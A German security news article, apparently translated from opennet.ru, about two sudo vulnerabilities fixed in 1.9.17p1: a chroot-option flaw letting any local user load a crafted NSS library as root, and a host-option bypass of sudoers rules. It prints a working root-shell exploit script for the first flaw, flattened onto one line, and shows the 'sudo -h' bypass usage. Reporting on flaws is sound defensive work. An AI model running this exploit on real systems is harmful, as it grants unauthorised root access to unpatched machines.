Schwachstellen im Programm sudo, die es ermöglichen, Root-Rechte im System zu erlangen.

Im sudo-Paket, das zur AusfĂŒhrung von Befehlen im Namen anderer Benutzer verwendet wird, wurde eine Schwachstelle (CVE-2025-32463) entdeckt, die es jedem nicht privilegierten Benutzer ermöglicht, Code mit Root-Rechten auszufĂŒhren, selbst wenn der Benutzer nicht in der sudoers-Konfiguration erwĂ€hnt wird. Betroffen sind Distributionen, die die Konfigurationsdatei /etc/nsswitch.conf verwenden; die Möglichkeit, die Schwachstelle auszunutzen, wurde beispielsweise in Ubuntu 24.04 und Fedora 41 demonstriert.

Die Schwachstelle tritt in der Standardkonfiguration auf und wurde in den sudo-Versionen von 1.9.14 bis 1.9.17 bestĂ€tigt (potenziell sind alle Versionen ab 1.8.33 betroffen). Das Problem wurde im Update sudo 1.9.17p1 behoben. Den Status der neuen Paketversion oder die Vorbereitung eines Patches in den Distributionen kann man auf den folgenden Seiten ĂŒberprĂŒfen (wenn die Seite nicht verfĂŒgbar ist, bedeutet das, dass die Entwickler der Distribution noch nicht mit der Bearbeitung des Problems begonnen haben): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo und Arch (1, 2).

Das Problem entsteht, weil beim Anwenden der Option „-R“ („—chroot“) zur AusfĂŒhrung von Befehlen in einer chroot-Umgebung mit einem gewĂ€hlten Benutzerstammverzeichnis die Datei /etc/nsswitch.conf im Kontext des neuen Stammverzeichnisses und nicht im Systemverzeichnis geladen wurde. Da der Benutzer sein eigenes Verzeichnis als Stammverzeichnis fĂŒr chroot verwenden kann, kann er die Konfigurationsdatei nsswitch.conf darin ablegen. Indem er die von der NSS (Name Service Switch) geladenen Datei /etc/nsswitch.conf kontrolliert, kann der Benutzer Einstellungen hinzufĂŒgen, die zu einem Aufruf zusĂ€tzlicher Handler fĂŒhren. Solche Handler werden von NSS in Form von gemeinsam genutzten Bibliotheken geladen, die ebenfalls im vom Benutzer kontrollierten Verzeichnis platziert werden können. Wenn der Benutzer seine eigene Bibliothek einfĂŒgt, kann er erreichen, dass aus dieser Bibliothek Code mit Root-Rechten ausgefĂŒhrt wird, da die Verarbeitung von NSS vor der Übertragung der Berechtigungen erfolgt.

Beispiel fĂŒr einen Exploit: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include #include __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}

In der Version sudo 1.9.17p1 wurde auch eine weitere SicherheitsanfĂ€lligkeit (CVE-2025-32462) behoben, die es ermöglicht, Befehle mit Root-Rechten auszufĂŒhren, aber nur in sudoers-Konfigurationen auftritt, bei denen der Parameter "host" auf einen Wert gesetzt ist, der von ALL oder dem Namen des aktuellen Hosts abweicht. Die SicherheitsanfĂ€lligkeit wurde durch einen Fehler verursacht, aufgrund dessen die Option "-h" ("—host") nicht nur in Kombination mit der Option "-l" ("—list") zur Anzeige der an den Host gebundenen Berechtigungen wirkte, sondern auch beim AusfĂŒhren von Befehlen. Dadurch konnte der Benutzer bei der AusfĂŒhrung von sudo einen beliebigen Host angeben und die BeschrĂ€nkungen der sudoers-Regeln umgehen, die an den Hostnamen gebunden sind.

Um einen Angriff durchzufĂŒhren, muss der Benutzer in sudoers erwĂ€hnt werden, zum Beispiel wenn in den Einstellungen "testuser testhost = ALL" angegeben ist, konnte der Benutzer "testuser" "sudo -h testhost" angeben und Befehle mit Root-Rechten auf beliebigen Hosts ausfĂŒhren, nicht nur auf dem Host testhost. Konfigurationen mit Einstellungen wie "testuser ALL = ALL" oder ohne ausdrĂŒckliche Regeln fĂŒr einen bestimmten Benutzer sind nicht von der SicherheitsanfĂ€lligkeit betroffen.

Quelle: opennet.ru

60GB SSD 8Gb DDR4